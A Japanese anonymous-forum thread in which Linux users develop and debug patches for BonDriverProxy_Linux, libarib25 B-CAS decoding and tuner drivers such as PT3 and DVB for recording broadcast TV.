その人は日本人ではないし、バイナリの配布も日本のサーバーを使わないと思うのだが。
コメント1件

612
login:Penguin[sage]   投稿日:2014/09/03 16:03:26  ID:Z1VCVlkc.net
>609
字幕パッチが取り込まれたり、ここにきてVLCのISDB対応が増えてるのはなんでだ?
SkyDriveに置いてあるOSX用独自ビルド、ここ半年のものでデュアルモノラルの分離が上手くいかない..
コメント2件

613
login:Penguin[sage]   投稿日:2014/09/03 17:11:31  ID:qNJLyKdr.net
>612
南米やアフリカで、ISDB規格が奮闘してるからではないかと。
コメント1件

614
login:Penguin[sage]   投稿日:2014/09/03 20:20:08  ID:ZY4L+Z2d.net(5)
>610
個人的には録画あるいは視聴機能でやるのが一番シンプルで理に適ってるかな、とは思ってますが、
あえてサーバ側でやるなら、サーバ部分(BonDriverProxy)よりもドライバ部分(BonDriver_LinuxPT)に組み込む方が好みですね
ただ、正しく機能してる限りどこでやろうが結果は(そんなに)変わらないので、これはあくまでも当方の好みの問題です

実装は>608に書いたサーバ部分でのモノとほぼ同様になると思いますが、b25をメンバじゃなくてグローバルで持てば
それで良さそうですね

>611
そうなんですが、BLACKCASの様な実例もありますので…
配布にしても、公式サイトからはパッと見わからないだけで、実際は日本のミラー経由でダウンロードしてる事も
多いんじゃないでしょうか

615
login:Penguin[sage]   投稿日:2014/09/03 20:24:21  ID:ZY4L+Z2d.net(5)
>586
> チャンネル設定を[0始まりのBonDriverProxy用]と[実chと合わせたchinachu用]の2つを定義

これちょっと驚きましたヽ(;´ー`)ノ考えてみれば確かに可能…
ただ、やっぱりChinachu側で設定するのが本来の形かなとは思います
S側でチャンネル数が多くなるとカブッてくるとこもありそうですしね

Chinachuを使った事ないので実際に可能かどうか良く知らないのですが、ソースをちょっと眺めた感じでは、
config.jsonのchannelsのchannelをBonDriverとしてのチャンネル番号に編集すれば行けそうに思いました
コメント1件

616
login:Penguin[sage]   投稿日:2014/09/03 21:01:00  ID:JJSBj14D.net(2)
VLCってフランス製だっけ?
フランスはアフリカ方面の移民が多いからかもね

617
login:Penguin[sage]   投稿日:2014/09/03 21:01:32  ID:JJSBj14D.net(2)
>613
VLCってフランス製だっけ?
フランスはアフリカ方面の移民が多いからかもね

618
605[sage]   投稿日:2014/09/03 23:02:24  ID:ZgkNyMVF.net(2)
>608
アドバイスありがとうございます!

> 対応としては、チャンネル変更のタイミングでb25->reset()を呼べば良いと思います

実装してみたのですが、b25->put()でコケることがあります。
ioctl(fd, SET_CHANNEL)が反映されたストリームを保障できれば良さそうですがどうしたものか(;´∀`)
# b25->reset()のタイミングでPurgeTsStreamも試みたのですが、改善せず


BonDriver_LinuxPT.cppにもb25を組み中です
STOP_REC → 空read → SET_CHANNEL → b25->reset() → START_REC
とすることで上手く動いているようです。たまーにコケますが(;´∀`)
コメント1件

619
login:Penguin[sage]   投稿日:2014/09/03 23:16:47  ID:ZgkNyMVF.net(2)
現状のを晒しておきます。
>606からのパッチです。http://pastebin.com/FnhrSiJW

620
568[sage]   投稿日:2014/09/04 08:08:21  ID:pIWfyEJi.net
>615
本来はそれがベストなんですが、
BonDriverProxy以外の混在利用を考慮してChinachu側の
channnels設定はそのままにしました

BonDriverProxy OnlyでしたらChinachu側弄ったほうが楽ですね

621
login:Penguin[sage]   投稿日:2014/09/04 13:28:01  ID:/tUehKy7.net
>612
たまにはmplayerのことも思い出してあげて下さい ( >> 39 )

622
login:Penguin[sage]   投稿日:2014/09/04 17:15:39  ID:D15wE/JR.net(4)
b25パッチ、安定してきました。

本家最新(16c770ecf355e0155f49eb5a52766d30e6afe7d1)からの差分です。
http://pastebin.com/bvz6A3By

環境変数 B25 を定義した状態でmakeするとデコーダあり版をビルドできます。
 $ B25=1 make


ドライバ(BonDriver_LinuxPT)でデコーダ有効にするには、confに
 #B25=1

を追記。(パッチ後のBonDriver_LinuxPT.confを参照)


BonDriverProxy, sampleは recpt1のb25関連オプションに準拠
 usage: ./sample [--b25 [--round N] [--strip] [--EMM]] 〜略
 usage: ./BonDriverProxy [--b25 [--round N] [--strip] [--EMM]] 〜略
コメント2件

623
login:Penguin[sage]   投稿日:2014/09/04 19:02:48  ID:D15wE/JR.net(4)

624
login:Penguin[sage]   投稿日:2014/09/04 20:32:53  ID:vbqHHR+q.net(2)
>622-623
https://gist.github.com/
使ってくれないかな?
patch自体をgitで管理できるし
リビジョン間のdiffも見れるし。

625
login:Penguin[sage]   投稿日:2014/09/04 21:10:43  ID:D15wE/JR.net(4)
>622-623をまとめたやつ
https://gist.github.com/anonymous/570aa60b21fc28295662

今後はここにpushすればいい?
垢作らないと更新できなさそうだけど(;´∀`)
コメント1件

626
login:Penguin[sage]   投稿日:2014/09/04 21:27:21  ID:vbqHHR+q.net(2)
>625
垢作らないとダメなのか。
それじゃ使えないな・・・すまん。
コメント1件

627
login:Penguin[sage]   投稿日:2014/09/04 22:32:47  ID:kpxJ/orl.net
>626
Gmailかなんかで捨てアド取って、ダミー垢つくれば?

628
login:Penguin[sage]   投稿日:2014/09/04 23:30:51  ID:FSjilAqd.net
epgrec_20111001.tar.gz をそのまま使ってると、
録画ファイルを削除してもサムネイルファイルが削除されずに残ってしまう件、

cancelReservation.php 下の方で、

@unlink($path);
@unlink($path.".jpg");

という箇所を、

@unlink($path);
@unlink(INSTALL_PATH."/".$settings->thumbs."/".basename($path).".jpg");

に書き換えたらサムネイルもきちんと削除されるようになったので、
とても今さら感がありますが、ここに記しておきます。

629
625[sage]   投稿日:2014/09/04 23:48:06  ID:D15wE/JR.net(4)
垢作ってforkしてみました。今後はこちらをフォローしていだければと。
https://gist.github.com/deadbeef2/055dcfb4164ad81811e2

>607
>細かい事言えばpIBon->CloseTuner()後でも、pIBon->GetTsStream()でdwRemain(アプリによる読み出し待ちバッファ数)が
>1以下である保証は無いです
>#元のsample.cppがdwRemainが0になるまでループさせてるのはそれが理由です

↑を対策したものに更新しました。
#間違ってコード削っちゃってました
コメント3件

630
login:Penguin[sage]   投稿日:2014/09/05 01:15:51  ID:xh94W/Rp.net
>629
ありがとう!

631
login:Penguin[sage]   投稿日:2014/09/05 06:38:37  ID:YWm7Cq3O.net(2)
>618
タイミングを逃した感がありますが、以前のバージョンに付いてです(;´Д`)
SET_CHANNELだけではデバドラ内のバッファがクリアされないみたいですね
こうなってくるとサーバモジュールだけで何とかするのは無理で、ドライバモジュール側で対策する必要がある感じですね
PT3のデバドラでは気持ち対応しようとしてるみたいですが…
STOP_REC -> START_RECはPT3のデバドラでは有効そうですが、PT1/2のデバドラでは効果無さそうな?(自信なし)

PT3で(ですよね?)STOP_REC -> b25->reset() -> START_RECで基本うまく行ってるのに、
> たまーにコケますが(;´∀`)
となってしまうのは、多分cBonDriverLinuxPT::TsReader()及びcBonDriverLinuxPT::TsSplitterのposをゼロに戻してないからかなと

しかし、ナナメ読みから流し読みくらいにレベルを上げてlibarib25読んでみたら、ストリーム変更への自動追従の仕組みも
ちゃんと入ってるみたいなんですが、どこでコケてるんでしょうね
調べてみるのも面白いかもしれません

632
login:Penguin[sage]   投稿日:2014/09/05 06:47:41  ID:YWm7Cq3O.net(2)
そんでもって、現状最新版での、面倒な事考えずにb25->put()し続けて急にb25->get()でバッファが
返って来なくなったらb25->reset()と言うのはシンプルで良いですねヽ(´ー`)ノ
真面目に完璧に対応しようとしたら、デバドラにパッチ当てるか、いったんデバイス閉じて開き直すとかの
微妙な形にするか、あるいはlibarib25のコケてる理由を特定して対応するか、みたいな感じになりそうなので、
この方法はかなりバランス良いナイスな実装だと思います

なお、>629適用後のBonDriverProxy.cpp、448行辺りと498行辺りで、m_b25もコピーして下さいね
でないと、クライアント1接続 -> クライアント2が1とドライバ共有で接続 -> クライアント1切断 -> クライアント2切断
と言う流れでリークしちゃいます

気になったのはそれくらいでしょうか
confのパースも「=」が離れてても良くなってて素晴らしい…
#実は気になってたんですが、まあ良いかと放置してました(;´Д`)失礼しました
コメント2件

633
login:Penguin[sage]   投稿日:2014/09/05 19:00:47  ID:AZWHso9+.net
>632
> なお、>629適用後のBonDriverProxy.cpp、448行辺りと498行辺りで、m_b25もコピーして下さいね
> でないと、クライアント1接続 -> クライアント2が1とドライバ共有で接続 -> クライアント1切断 -> クライアント2切断
> と言う流れでリークしちゃいます

対処しました。

本家様のレビューがあると安心ですね(*´∀`)

634
login:Penguin[sage]   投稿日:2014/09/06 01:41:41  ID:FexPwWIJ.net(2)
>586を応用してsid指定で録画出来るようにしたいんだけど、sampleってチャンネルが3桁の数字には対応してないのかな?
例えばこういう感じにconfで設定して(USESERVICEID=1)

BS日テレ 141 6 0 141
BS日テレ 2 6 0 141

sample -b (BonDriver) -s 0 -c 141 でも sample -b (BonDriver) -s 0 -c 2 でも取得出来るようにしたい
現状は後者のみ動いて前者は0バイトのファイルが作成される

635
login:Penguin[sage]   投稿日:2014/09/06 01:50:18  ID:FexPwWIJ.net(2)
自己解決
BonDriver_LinuxPT.hのMAX_CHを適当に増やした所録画出来ました

636
login:Penguin[sage]   投稿日:2014/09/06 17:22:09  ID:eO/pxnZ3.net(2)
最新のパッチ当てた状態、オプション有効にして
sample実行するとPacket Queue OVERFLOW : size[0]
がでまくった上にプロセスが止まらないorz
コメント1件

637
login:Penguin[sage]   投稿日:2014/09/06 18:45:30  ID:eO/pxnZ3.net(2)
>636
BonDriverProxy自体のソースが更新されててパッチ
あたってなかっただけでしたorz
申し訳ない

638
login:Penguin[sage]   投稿日:2014/09/06 20:48:29  ID:zseocNOz.net
confパース部分のパッチです。 http://pastebin.com/ipjfjqw2
=は詰めて記述すれば済む話なので必要性は無いんですけど
本家でマージしていただければ幸いです。
コメント1件

639
629[sage]   投稿日:2014/09/07 06:18:05  ID:ufRLo5FT.net(2)
b25 patch for BonDriverProxy_Linux rev.4
B-CASカードが無い状態でストリームを流すとクラッシュするバグを修正しました。
デコード中のB-CASカード抜き差しに対応しました。

640
login:Penguin[sage]   投稿日:2014/09/07 06:33:59  ID:9WNSn1qS.net(3)
>638
GitHubの方には反映してなかったんですが、ローカルでは>632書いてから同じ事をやってしまっております…
#個人的な好みで若干型や関数/変数名を変更してますが
せっかくパッチ書いていただいたのにスミマセン(;´Д`)
コメント1件

641
login:Penguin[sage]   投稿日:2014/09/07 06:36:21  ID:9WNSn1qS.net(3)
それはともかく、libarib25の動き眺めてたら、チャンネル変更しなくても普通に番組の切り替えタイミング(PATの更新とか)に
get()結果のバッファサイズがゼロになる事もあるみたいですね
#厳密には、次のget()までにput()されたバッファの合計サイズに依存します
こう言う場合にreset()かけてしまうとドロップする事になるので、連続何回そうなったらreset()かける的な、
閾値みたいなのを設けた方が良いかなと思いました
上述の通り、put()するバッファサイズ依存なので、閾値はユーザが設定出来るようにしておくとかでしょうか…
コメント1件

642
login:Penguin[sage]   投稿日:2014/09/07 06:43:45  ID:9WNSn1qS.net(3)
あと、libarib25はPATの更新があった際に、当該PATをダブって出力しちゃうんですね
TVTest(と言うかBonTsEngine)では連続性指標のエラーになるので、1パケットドロップしてる様に表示されます
実際はデータが落ちてるわけではないので別に深刻な問題ではないのですが、個人的には気になるので対応してみました
当方と同じく気になる人は、
https://github.com/stz2012/libarib25/blob/master/src/arib_std_b2...
で言うと、2054-2055行目のproc_pat()とgoto LASTの間に、
curr += unit;
を入れるとこの挙動はなくなります

ついでに言うと、2063行目も意味的にはsbuf.headじゃなくてsbuf.poolでしょうね
#こちらは最終的な出力結果に影響を与えるわけではなく、単にまるもさんの意図はこうだったんだろうな、と言う話です
コメント1件

643
login:Penguin[sage]   投稿日:2014/09/07 13:16:41  ID:ufRLo5FT.net(2)
>640
いえいえwありがとうございます!

b25 patch for BonDriverProxy_Linux rev.5
>641
resetするまでのしきい値を設けました。(現状は3回まで許容)
オプションで変更できたほうが良いかなとも思ったのですが取り急ぎ
コメント1件

644
login:Penguin[sage]   投稿日:2014/09/08 07:30:13  ID:9KuKI2Lg.net(2)
>643
> オプションで変更できたほうが良いかなとも思ったのですが取り急ぎ

バッファサイズが小さな場合に大丈夫ならバッファサイズが大きな場合でも大丈夫なので、
小さめのバッファでビットレートの高いストリームやサービス数の多いストリームでも確実に大丈夫な回数を
指定しておけばそれで用は足りるかもしれませんね

回数を大きくしても、チャンネル変更時に>605の問題↓
> 視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。
> #b25->putがARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mを返してる。
が起こった場合にfail-safeが発動するまでの時間が延びる以外の問題は無いと思うので、多少大きめの値でも良いんじゃないかと

例えば、バッファのサイズをクライアントモジュールのデフォルト値である188*1024として、
問題が発生したストリームのビットレートを15Mbpsだとすると、仮に10回見送っても、
(188*1024*8*10)/(15*1024*1024)=約0.98で、オーバヘッドを考えても最長約1秒でreset()かかる計算です
#当然、ドライバモジュールの様にバッファの小さな(188*256)場合や、ストリームのビットレートが
#もっと高い場合にはもっと早めにreset()かかるでしょう
個人的にはこれくらいなら十分許容範囲かなと思います
#そもそも滅多に発生しない問題な気もしますし…

645
login:Penguin[sage]   投稿日:2014/09/08 07:42:44  ID:9KuKI2Lg.net(2)
それから、その問題の発生するそもそもの原因を考えてみたんですが、
以下の様なパターンで発生しそうな気がします
---
チャンネル変更

PAT更新検出

次回以降のput()ではfind_pmt()でPMT探しを始める

変更後のチャンネルで番組切り替わり、あるいは再度のチャンネル変更などでPAT再更新

find_pmt()ではそれを検出しないので、もう流れて来ない旧PATで示されたPMTを探し続ける

ARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32M
---
PAT/PMTの送出頻度は100msに1回以上と規定されているので、タイミングはシビアですが…
ただ、PMTが発見されても今度はfind_ecm()で同じ状態になるので、
こちらは結構有り得るんじゃないかなと思います

で、試しに上記の状況を再現するTSファイルを作成してb25に食わせたら、
やはりARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mで終了しました

対応としては、libarib25にパッチ当てる形になりますが、
http://pastebin.com/BpEyxAcF
な感じかなと思います
>642の件も含んでます
上述のTSファイルをこのパッチ当てたlibarib25を使用するb25に食わせると、
意図通りの出力が行われるのを確認しています
コメント2件

646
login:Penguin[sage]   投稿日:2014/09/08 21:13:39  ID:HcnwnBd6.net
閾値の件、了解しました。ありがとうございます。
ドライバのバッファサイズ(188*256)で現在観測中です。

>645
ARIB_STD_B25_ERROR_NO_ECM_IN_HEAD_32MでコケてたTSも食わせてみましたが、
エラー無しです。ヽ(=´▽`=)ノ

647
login:Penguin[sage]   投稿日:2014/09/09 03:12:06  ID:yZ6ry4LB.net
>645
デコード出来ない
コメント2件

648
login:Penguin[sage]   投稿日:2014/09/09 21:16:21  ID:mah88T5D.net
>647
recpt1とB25からならデコードできてるけど、そっちでもダメ?
自分はlibarib25のパッチと関係なく、sampleからはデコードできないorz

あとWindows側のProxyの方で使用するBonDriverは何使えばいいんだろ
とりあえずBonDriver_pipe指定しているけど初期化に失敗するって出る
コメント2件

649
login:Penguin[sage]   投稿日:2014/09/10 07:25:05  ID:dfnWCajE.net(2)
もうちょっとだけ変えて、各種異常系に対応するパッチにしてみました
http://pastebin.com/xiZg4W9j
正常なデータに対する処理は、後述の箇所以外は前回のパッチと変わりません
#処理結果に影響しないビミョーな変更した部分はあります
##行末空白消したらdiffの出力がエラい事になってしまいました(;´Д`)

前回のパッチで、追加した部分でPAT更新を検知した場合、そのPAT自体は削除していたのですが、
よく考えたらこの場合は残した方が良いかと思ったので、残すようにしました
#削除しても、適切にTSを扱えるソフトならその次のPATを見つけるはずなので、
#どちらでも大して変わらないかもしれませんが…

>647
どちらかと言うと、TSとしては一応正常だけど扱いがややこしいデータに対応する為のパッチで、
ごく普通の(変なタイミングでPATの更新が発生したりはしない)TSストリームの扱いに関しては
元のコードと(ほぼ)同じなので、このパッチでデコードできなくなるような理由は無いと思うんですが…
コメント1件

650
login:Penguin[sage]   投稿日:2014/09/10 07:38:25  ID:dfnWCajE.net(2)
>648
基本的には、win環境で使えるチューナ使用の為のBonDriverを想定してます
当方ptTimerを使用しているので、BonDriver_ptmr.dllを使う事が多いです
他には、BonDriver_PT.dllやBonDriver_PT3.dllで動作確認とれてます

BonDriver_Pipeに関しては、ファイル読み込み担当のTvtPlayと名前付きパイプで通信しようとするので、
dllのみリモートで読み込む形になるBonDriverProxyでは機能しないでしょうね
基本的にTVTest+TvtPlayからの直接ロードのみを想定したBonDriverなのだと思います
リモートのファイルをTvtPlayで扱いたいなら普通にファイル共有で扱えますしね

651
login:Penguin[sage]   投稿日:2014/09/10 12:16:01  ID:h/4bPT67.net(2)
b25 patch for BonDriverProxy_Linux rev.6
* resetするまでのしきい値を8へ増やしました。
* BonDriver_LinuxPT デコード処理をfifo排他ロックの外に移動しました。

libarib25パッチのおかげで、当方の付け焼刃的対策は不要となりました。(感謝!)
一応まだ残してありますが、気になる方は、decode.cppの12行、30行をコメントアウトしてください。

652
login:Penguin[sage]   投稿日:2014/09/10 12:25:53  ID:h/4bPT67.net(2)
>648
> 自分はlibarib25のパッチと関係なく、sampleからはデコードできないorz

ただ普通にmakeするとデコーダなし版となりますので、
$ make B25=1
としてみてください。

$ ldd sample
の結果に
 libarib25.so.0 => /usr/local/lib/libarib25.so.0
が有ればデコーダあり版です。

--b25オプションもお忘れなく。
コメント1件

653
login:Penguin[sage]   投稿日:2014/09/10 22:01:53  ID:HBWVCRFn.net
>652
ありがとうございます。
その辺は以下のとおり抜かりはないのですが、Makefileを変更しています。
具体的には-fPICオプションを追加いています。
理由はCentOS7でビルドすると-fPICオプションを要求されるためです。
これが原因でしょうかね・・・やっぱり。

$ ldd /usr/local/bin/bdpl/sample
linux-vdso.so.1 => (0x00007fffa39fe000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007fd9183b5000)
libarib25.so.0 => /usr/local/lib/libarib25.so.0 (0x00007fd9181a9000)
libstdc++.so.6 => /lib64/libstdc++.so.6 (0x00007fd917ea1000)
libm.so.6 => /lib64/libm.so.6 (0x00007fd917b9f000)
libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007fd917989000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fd91776c000)
libc.so.6 => /lib64/libc.so.6 (0x00007fd9173ab000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd9185c2000)
コメント1件

654
login:Penguin[sage]   投稿日:2014/09/10 23:44:33  ID:5qzvJwkG.net
pcscliteいるんじゃね?
コメント1件

655
login:Penguin[sage]   投稿日:2014/09/11 00:07:37  ID:iOdF7k0i.net
そう言うことなら諦めるかな…

656
login:Penguin[sage]   投稿日:2014/09/11 02:31:27  ID:NUNJGGEc.net
$ ./sample -b $PWD/BonDriver_LinuxPT.so -t10 -s0 -c0 -o /dev/null

CreateBonDriver error: pIBon[(nil)] pIBon2[(nil)]
でハマったことがあったんだけど、

BonDriver_LinuxPT.so.conf が無かっただけというオチでした。

657
login:Penguin[sage]   投稿日:2014/09/11 14:56:21  ID:1PhEHEVX.net
>653
straceの結果を晒してみるとか。

>654
柔糟

658
login:Penguin[sage]   投稿日:2014/09/14 02:59:48  ID:K0oELrZz.net
recpt1@linux についての質問です。

CentOS 6.5にてrecpt1を長年使っていますが、
最近、recpt1やその他のプロセスがsystimeを
100〜400%消費して、ほぼ固まってしまうようになりました。
1〜10時間に1回ほどおこります。
nfsやsambaでアクセスしたときによく起こる気がしますが、
必ず起きるわけではないので気のせいかもしれません。

pt1_drv・recpt1 は pt1-c8688d7d6382
ハードは、i7-3770KにPT2 を2枚使っています。
心当たりのある方、ご助言お願い致します。

659
login:Penguin[sage]   投稿日:2014/09/14 16:00:55  ID:n4ioxrWT.net(2)
recpt1の最新、c8688d7d6382で録画したTSでは
それまで出ていた字幕が出てこなくなった
かと言ってepgrec unaは最新を使いたいし
解決方法はないものか
コメント1件

660
login:Penguin[sage]   投稿日:2014/09/14 16:04:48  ID:TMCcFLS7.net
やはり録画環境ではWindowsに一歩二歩劣るな…

661
login:Penguin[sage]   投稿日:2014/09/14 17:15:09  ID:9Azm8z+x.net

662
login:Penguin[sage]   投稿日:2014/09/14 19:37:17  ID:n4ioxrWT.net(2)
>661
ありがとう。ビンゴでした!

recpt1-http.diff のパッチを当てて
tssplitter-apnd.diff を当てなければ
問題なし。

663
629[sage]   投稿日:2014/09/15 07:40:19  ID:fRq1FtDk.net
b25 patch for BonDriverProxy_Linux rev.8

b25->get()の空バッファ連続数を数えてb25->reset()する方法を廃止し、
チャンネル変更したら遅延リセットを仕掛ける方法に変更しました。
#閾値=8では足りないケースがありました。スミマセン…

664
login:Penguin[sage]   投稿日:2014/09/15 19:31:03  ID:u6m1Lwho.net
BonDriverProxy_Linuxを使ってるんだけど、何か勝手にプロセスが終了する…。
ログはこんな感じ
Sep 15 05:03:21 (サーバ名) kernel: BonDriverProxy[7667]: segfault at ffffffff00000008 ip 00007f9b16ee1f82 sp 00007f9b16c65bf0 error 4 in libc-2.12.so[7f9b16e6c000+18a000]

環境はCentOS 6.5でPX-W3PEで運用
コメント3件

665
login:Penguin[sage]   投稿日:2014/09/15 22:00:39  ID:MUwzt1RE.net
>664
おおう、SIGSEGV(;´Д`)
-gオプション付けてコンパイルしなおしてからcore残すようにして動かしてみて、
また発生したらgdbでバックトレースしてみてもらえますでしょうか…

666
login:Penguin[sage]   投稿日:2014/09/15 22:33:54  ID:s0wJO8Cm.net
ここにfoltia ALを一定の期間サスペンドさせる方法が載ってる
http://airwhite.net/?p=786

もう一歩進めて、予約状況に合わせた終了・復帰をできるようにしたいです。
エンコードスクリプトの最後で
SQLでポスグレにアクセスして、次回録画開始時間を拾い、
それで再開時間を算出すればいいかなぁ

667
login:Penguin[sage]   投稿日:2014/09/19 20:42:59  ID:vOYD3QP1.net(2)
>664
もしかして、てのを修正しました
#でも、1サービス1チャンネルモードで使用している時にしか影響しない問題だったので、
>664さんがそのモードで使用していなかった場合は関係ない事になりますが
コメント1件

668
login:Penguin[sage]   投稿日:2014/09/19 20:46:54  ID:vOYD3QP1.net(2)
あと、いつぞや言っていたBonDriver_DVBを今更ながらつくってみました
GitHubのdevelopブランチの方にあげてるので暇な人は試してみていただければ…
#ただし動作確認はpt3_dvbでしかやっていません
コメント1件

669
login:Penguin[sage]   投稿日:2014/09/20 01:45:01  ID:ZxbdrSSi.net(6)
コンパイル通らない…新し目のカーネルじゃないとダメかな

BonDriver_DVB.cpp:601:17: error: ‘DTV_STREAM_ID’ was not declared in this scope

cat /etc/debian_version && uname -r
7.6
3.2.0-4-686-pae

670
login:Penguin[sage]   投稿日:2014/09/20 02:15:33  ID:ZxbdrSSi.net(6)
b25 patch for BonDriverProxy_Linux rev.9
BonDriver_DVBへの追加
#まだ当方でコンパイル通らない為、動作テストしてません(;´∀`)

671
login:Penguin[sage]   投稿日:2014/09/20 04:10:51  ID:ZxbdrSSi.net(6)
コンパイル通りました。pt2で動作確認。b25デコードもおk

BonDriver共有ツール総合 /DTV板

#ifndef DTV_STREAM_ID
# if defined(DTV_ISDBS_TS_ID)
# define DTV_STREAM_ID DTV_ISDBS_TS_ID
# elif defined(DTV_ISDBS_TS_ID_LEGACY)
# define DTV_STREAM_ID DTV_ISDBS_TS_ID_LEGACY
# else
# error
# endif
#endif
コメント1件

672
login:Penguin[sage]   投稿日:2014/09/20 06:30:31  ID:ZxbdrSSi.net(6)
重箱の隅ですが(;´∀`)
util/test.cpp
-#define FILE_OFFSET_BITS 64
+#define _FILE_OFFSET_BITS 64

673
login:Penguin[sage]   投稿日:2014/09/20 11:14:07  ID:/wCqLEzE.net
testは名前変えてほしい。(´・ω・`)
コメント1件

674
login:Penguin[sage]   投稿日:2014/09/20 15:50:47  ID:FTFEBESz.net
>667
ありがとうございます。症状はあの後は出ていませんが、1サービス1チャンネルモードで運用していたので多分それだと思います。
コメント1件

675
login:Penguin[sage]   投稿日:2014/09/20 19:24:43  ID:oCHzE0lG.net(2)
>671
おお、動作確認していただけましたか
ならその内にmasterの方にマージしますね

> 重箱の隅ですが(;´∀`)

失礼しました(;´Д`)sampleの時に気付いとけよって話ですね

676
login:Penguin[sage]   投稿日:2014/09/20 19:27:43  ID:oCHzE0lG.net(2)
>673
所詮やっつけアプリで、殆どsample2みたいな物ですから(;´Д`)

>674
おお、それなら原因を排除できた可能性はありそうですね
発生確率はデバドラのつくりによって変わると思われる問題だったのですが、
PX-W3PEで運用と言う事なので、確度もそこそこ高そうです

677
login:Penguin[sage]   投稿日:2014/09/20 20:45:52  ID:ZxbdrSSi.net(6)
BonDriver_DVB(earth_pt1)+TvTestですが、シグナルレベルが0dBのままですね。
視聴に問題がなかったのと、DVB初利用なのでそんなもんかと思ってたんですが
TsReader() ioctl(FE_READ_SIGNAL_STRENGTH) error: adapter0
でした。

678
login:Penguin[sage]   投稿日:2014/09/20 21:06:20  ID:ZxbdrSSi.net(6)
>DVB初利用なので
僕がDVBを使うのが初めてで、という意味です。#言葉足らずでスミマセン
DVBってシグナルレベル取得APIが無いのかな?とw

679
login:Penguin[sage]   投稿日:2014/09/20 21:28:58  ID:qMZ361UH.net(2)
>> 668

いいですね。とりあえずPT3以外で動かして見たので報告です。

Ubuntu 14.04.1 LTS
3.13.0-35-generic
BonDriverProxy
BonDriver_DVB.so
TvTest 0.7.23

・Friio白 (ISDB_T)
SetChannel() ioctl(FE_SET_PROPERTY) error: adapter4
とエラーが出力されて表示されません。

FriioはDTV_STREAM_IDに0を指定するとエラーになった記憶があるので
ISDB_T(地上波)に対してDTV_STREAM_IDを指定しない様にすれば良いかと
思います。PTXの場合もこっちでOKだったはずです。

prop[0].cmd = DTV_FREQUENCY;
prop[0].u.data = f;
prop[1].cmd = DTV_TUNE;

props.props = prop;
props.num = 2;
コメント1件

680
login:Penguin[sage]   投稿日:2014/09/20 21:30:35  ID:qMZ361UH.net(2)
>> 668,677

続きです。

・PT2 DVB
個人的には映るのならシグナルレベルはどうでもよいと思っていますが。

TsReader() ioctl(FE_READ_SIGNAL_STRENGTH) error: adapter0

シグナルレベルが取れていない様です。自分の調べた所では、シグナル
レベルを取得する方法がドライバによってまちまちでした。

FE_READ_SIGNAL_STRENGTH (Friio白)
FE_READ_SNR (PT1,2,3)
DTV_STAT_CNR (PT3 DVB V5 以上)

おまけにどういう単位で返すかがドライバ依存なので、まともなシグナル
レベルを取得するためにはドライバ側を修正しないといけないという印象
でした。例えば、FE_READ_SNRで取得した場合、PT3はハードウェアから
得られた生値だと思いますが、PT2ではCNRを計算して返している様です。
ただ実際に出力させると何かよくわからない値なのですが…。
コメント1件

681
login:Penguin[sage]   投稿日:2014/09/21 02:02:07  ID:8glTzj28.net(9)
>679
> FriioはDTV_STREAM_IDに0を指定するとエラーになった記憶があるので
> ISDB_T(地上波)に対してDTV_STREAM_IDを指定しない様にすれば良いかと
> 思います。PTXの場合もこっちでOKだったはずです。

ありがとうございます
対応してみました
コメント1件

682
login:Penguin[sage]   投稿日:2014/09/21 02:04:10  ID:8glTzj28.net(9)
> シグナルレベルが取れていない様です。自分の調べた所では、シグナル
> レベルを取得する方法がドライバによってまちまちでした。
〜〜〜
> おまけにどういう単位で返すかがドライバ依存なので、まともなシグナル
> レベルを取得するためにはドライバ側を修正しないといけないという印象
> でした

そうなんですよねー
当方が調べた結果もそんな感じでした
とりあえずFE_READ_SIGNAL_STRENGTH使ったのは、テストしたpt3_dvb(fd90fa5a16d07981b19d5e868ad9f463cee77989)の
内部実装が単にchardev版のラッパになってたので、生の値である事と、表示値の互換性が期待できるなと思ったからです
#↓このcastはちょっと無いなと思いましたが(;´Д`)
---
static int pt3_fe_s_read_signal_strength(struct dvb_frontend *fe, u16 *cn)
{
struct pt3_fe_s_state *state = fe->demodulator_priv;
return pt3_tc_read_cn_s(state->adap, NULL, (u32 *)cn);
}
---

683
login:Penguin[sage]   投稿日:2014/09/21 02:07:24  ID:8glTzj28.net(9)
…が、その後もうちょっと調べてみたらその次のバージョンではFE_READ_SIGNAL_STRENGTHに対してCNRを計算して
返すようになり、今のバージョンではFE_READ_SIGNAL_STRENGTHは削除されて、その処理はそのままFE_READ_SNRで
使用されるようになってますね…

意味的な正しさで言えば、シグナルレベルとして取得した生の値がどのような意味を持つかはHWによって異なる可能性も
ありそうですから、共通インタフェースでの実装としてはドライバ内でCNRを計算して返すのはもっともな姿勢かなとは思います
#そう言う意味では、現状のBonDriver_DVBの実装では仮にFE_READ_SIGNAL_STRENGTHでシグナルレベルが取得できても、
#意味のある値になるのはPT1/PT2/PT3だけかもしれませんね

しかし、v4lのAPIマニュアルからして、FE_READ_SNRで得られるdBの精度は書かれていませんし、FE_GET/SET_PROPERTYの方に
書かれてると思ったら、1/1000なのか1/10000なのかハッキリしません(;´Д`)
#1/10000の場合、int16_tでは3.27dB位までしか測れなくなるので、1/1000が正しいんじゃないかとは思いますが…

とりあえず1/1000が正しいと仮定して、FE_READ_SNRを使うモードを付けてみました
PT1/PT2を使ってる方や、pt3_dvbでも最近のを使ってる方は、BonDriver_DVB.cppのアタマの方の、
//#define USE_READ_SNR
のコメントを外してみると、何らかの値が得られるようになるかもしれません

684
login:Penguin[sage]   投稿日:2014/09/21 02:25:47  ID:zlop0RNo.net
confで指定できれば良いですね
コメント1件

685
login:Penguin[sage]   投稿日:2014/09/21 08:15:08  ID:gZdOl1Ws.net(3)
>668

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/devel...#L395
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/devel...#L755

自分がなぜそうしたのか記憶が曖昧なのですが…。
dvr0デバイスをオープンする際にはO_NONBLOCK をくっつけてたと思います。

dvr0 からデータが来なかった場合、readがブロックするからだったような
記憶があるのですが、今見ると正常ならlen=0とかなさそうなので意味不明な
ことを言ってるのかもしれません。

手元にPX-S1UD、Friio黒、MonsterTV HD もあるので動作確認できたら良いな
